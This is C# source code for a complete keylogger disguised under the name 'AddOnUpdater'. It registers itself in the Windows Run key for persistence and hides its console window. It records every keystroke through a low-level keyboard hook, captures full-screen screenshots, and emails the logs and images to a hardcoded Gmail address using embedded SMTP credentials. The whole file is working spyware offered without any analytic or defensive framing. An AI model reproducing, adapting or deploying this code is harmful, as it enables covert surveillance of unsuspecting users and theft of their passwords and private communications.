using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
using System.Text.RegularExpressions;
using System.Windows.Forms;

namespace AddOnUpdater
{
    class Program
    {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;
        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                GetModuleHandle(curModule.ModuleName), 0);
            }
        }


        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);


        [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();

        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        const int SW_HIDE = 0;

        static void MailIt(string _startupMessage)
        {
            string _msg;
            if (_startupMessage == "" | _startupMessage == null |
                _startupMessage == "nomsg")
            {
                StreamReader sr = new StreamReader(@"C:\Program Files\systeminformation.txt");
                _msg = sr.ReadToEnd();
                sr.Close();
            }
            else
                _msg = _startupMessage;

            System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();

            System.Net.NetworkCredential cred = new System.Net.NetworkCredential("sz.adam.87@gmail.com", "SzeretnedAGoogleJelszavamatMi?NemKapodMeg:D");

            mail.To.Add("sz.adam.87@gmail.com");
            mail.Subject = "AddonUpdater Report";

            mail.From = new System.Net.Mail.MailAddress("sz.adam.87@gmail.com");
            mail.IsBodyHtml = true;
            mail.Body = _msg;
            System.Net.Mail.Attachment mailAttachment =
                new System.Net.Mail.Attachment(@"C:\Program Files\attchmnt.jpg");
            mail.Attachments.Add(mailAttachment);

            System.Net.Mail.SmtpClient smtp =
                new System.Net.Mail.SmtpClient("smtp.gmail.com");
            smtp.UseDefaultCredentials = false;
            smtp.EnableSsl = true;
            smtp.Credentials = cred;
            smtp.Port = 587;
            smtp.Send(mail);
        }

        static void Main(string[] args)
        {
            if (Registry.GetValue(
                @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
                "AddonUpdater", null) == null)
                Registry.SetValue(
                @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
                "AddOnUpdater", @"C:\Program Files\AddOnUpdater.exe");
            if (!File.Exists(@"C:\Program Files\AddOnUpdater.exe"))
                File.Copy(Application.StartupPath + @"\AddOnUpdater.exe",
                    @"C:\Program Files\AddOnUpdater.exe");

            if (!File.Exists(@"C:\Program Files\systeminformation.txt"))
                MailIt("Mission accomplished, we're in! :)");


            var handle = GetConsoleWindow();

            ShowWindow(handle, SW_HIDE);

            _hookID = SetHook(_proc);
            Application.Run();
            UnhookWindowsHookEx(_hookID);
        }

        private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(
            int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                int vkCode = Marshal.ReadInt32(lParam);
                Console.WriteLine((Keys)vkCode);
                StreamWriter sw = new StreamWriter(@"C:\Program Files\systeminformation.txt", true);
                if (Regex.IsMatch(((Keys)vkCode).ToString(),@"Space"))
                {
                    string _newKey = " ";
                    sw.Write(_newKey);
                    sw.Close();
                }
                else
                {
                    sw.Write((Keys)vkCode);
                    sw.Close();
                }
                StreamReader sr = new StreamReader(@"C:\Program Files\systeminformation.txt");
                string _counter = sr.ReadToEnd();
                sr.Close();
                if (_counter.Length >= 512)
                {
                    int screenWidth = Screen.GetBounds(new Point(0, 0)).Width;
                    int screenHeight = Screen.GetBounds(new Point(0, 0)).Height;
                    Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight);
                    Graphics gfx = Graphics.FromImage((Image)bmpScreenShot);
                    gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight));
                    bmpScreenShot.Save(@"C:\Program Files\attchmnt.jpg", ImageFormat.Jpeg);

                    MailIt("nomsg");

                    StreamWriter sw2 = new StreamWriter(@"C:\Program Files\systeminformation.txt");
                    sw2.WriteLine("");
                    sw2.Close();
                }
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);

        }
    }
}